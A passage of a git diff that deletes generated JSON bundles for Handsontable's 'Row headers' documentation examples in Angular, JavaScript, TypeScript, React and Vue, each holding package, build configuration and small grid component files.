\"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders: ['January', 'February', 'March', 'April', 'May', 'June'],\n rowHeaderWidth: 80,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/rows/row-header/angular/example2.ts","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example2","exampleTitle":"Row headers as an array","docPermalink":"/row-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example3.ts.json deleted file mode 100644 index 6403fca6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Rows ▸ Row headers · Row headers as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders(index: number) {\n return `Row ${index + 1}`;\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/rows/row-header/angular/example3.ts","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example3","exampleTitle":"Row headers as a function","docPermalink":"/row-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.js.json deleted file mode 100644 index d7ac8894..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Rows ▸ Row headers · Row headers as an array · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ],\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders: ['January', 'February', 'March', 'April', 'May', 'June'],\n rowHeaderWidth: 80,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/rows/row-header/javascript/example2.js","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example2","exampleTitle":"Row headers as an array","docPermalink":"/row-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.ts.json deleted file mode 100644 index 4bc2e437..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Rows ▸ Row headers · Row headers as an array · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ],\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders: ['January', 'February', 'March', 'April', 'May', 'June'],\n rowHeaderWidth: 80,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/rows/row-header/javascript/example2.ts","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example2","exampleTitle":"Row headers as an array","docPermalink":"/row-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.js.json deleted file mode 100644 index 5b779baf..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Rows ▸ Row headers · Row headers as a function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data: [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ],\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders(index) {\n return `Row ${index + 1}`;\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/rows/row-header/javascript/example3.js","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example3","exampleTitle":"Row headers as a function","docPermalink":"/row-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.ts.json deleted file mode 100644 index ed2067be..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Rows ▸ Row headers · Row headers as a function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n [42000, 31000, 11000],\n [45500, 33200, 12300],\n [48700, 35100, 13600],\n [51200, 36800, 14400],\n [54800, 38900, 15900],\n [57300, 40100, 17200],\n ],\n colHeaders: ['Revenue', 'Expenses', 'Profit'],\n rowHeaders(index) {\n return `Row ${index + 1}`;\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/rows/row-header/javascript/example3.ts","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example3","exampleTitle":"Row headers as a function","docPermalink":"/row-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example2.tsx.json deleted file mode 100644 index 4b268154..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Rows ▸ Row headers · Row headers as an array · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/rows/row-header/react/example2.tsx","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example2","exampleTitle":"Row headers as an array","docPermalink":"/row-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example3.tsx.json deleted file mode 100644 index 4bb318ca..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Rows ▸ Row headers · Row headers as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n {\n return `Row ${index + 1}`;\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/rows/row-header/react/example3.tsx","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example3","exampleTitle":"Row headers as a function","docPermalink":"/row-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example2.vue.json deleted file mode 100644 index dfe4f4ae..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Rows ▸ Row headers · Row headers as an array · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/rows/row-header/vue/example2.vue","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example2","exampleTitle":"Row headers as an array","docPermalink":"/row-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example3.vue.json deleted file mode 100644 index f8614ff7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Rows ▸ Row headers · Row headers as a function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/rows/row-header/vue/example3.vue","breadcrumb":["Rows","Row headers"],"guide":"guides/rows/row-header/row-header.md","guideTitle":"Row headers","exampleId":"example3","exampleTitle":"Row headers as a function","docPermalink":"/row-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__angular__example1.ts.json deleted file mode 100644 index b27665b2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Rows ▸ Row parent-child · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n 